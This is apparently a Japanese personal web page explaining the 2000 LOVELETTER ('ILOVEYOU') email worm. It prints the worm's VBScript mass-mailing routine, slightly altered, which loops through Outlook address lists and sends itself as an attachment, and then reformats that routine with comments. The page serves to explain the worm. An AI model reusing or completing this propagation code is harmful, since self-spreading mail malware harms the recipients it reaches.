---

コンピュータウイルス／LOVELETTER

---

LOVELETTER は、 2000 年 5 月に現れたコンピュータウィルスです。

Outlook のアドレス帳に登録されているメールアドレスすべてに対して、 自分自身 文（ウィルス） を添付したメールを送信します。
メールのタイトルは "ILOVEYOU"、 本文は "kindly check the attached LOVELETTER coming from me."、 添付ファイル名は "LOVE-LETTER-FOR-YOU.TXT.vbs" です。
アドレス帳を使って送信しますから、 受信した人から見て発信者は知人である場合が多く、 安心して添付ファイルを開いて感染、 という巧妙なウィルスです。 たくさんの被害が出て、 新聞などでも報道されてすっかり有名になりました。

私のところにもひとつやってきましたので、 恐いもの見たさで覗いてみると、 次のようになっていました。
メールを送信する部分です （念のため、一部を変更してあります）。

for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count end if next

延々と、 改行なしで書かれているので複雑そうですが、 改行してインデントをつけると見やすくなります。
少し赤く表示しているところで件名 （Subject） や本文 （Body）、 添付ファイル （Attachments） をつけて、 メールを送信 （Send） しています。

    for ctrlists=1 to mapi.AddressLists.Count
        set 
        a=mapi.AddressLists(ctrlists)
        x=1
        regv=regedit.RegRead("HKEY_CURRENT_USER\Software\"&a)
        if (regv="") then
            regv=1
        end if
        if (int(a.AddressEntries.Count)>int(regv)) then
            for ctrentries=1 to a.AddressEntries.Count 
                malead=a.AddressEntries(x)
                regad=""
                regad=regedit.RegRead("HKEY_CURRENT_USER\Software\"&malead)
                if (regad="") then
                    set
                    male=out.CreateItem(0)
                    male.Recipients.Add(malead)                                                  ' 宛先のセット
                    male.Subject = "ILOVEYOU"                                                    ' 件名   〃
                    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."    ' 本文   〃
                    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")               ' 添付ファイル   〃
                    male.Send                                                                    ' 送信
                    regedit.RegWrite "HKEY_CURRENT_USER\Software\"&malead,1,"REG_DWORD"
                end if
                x=x+1
            next
            regedit.RegWrite "HKEY_CURRENT_USER\Software\"&a,a.AddressEntries.Count
        end if
    next
	

---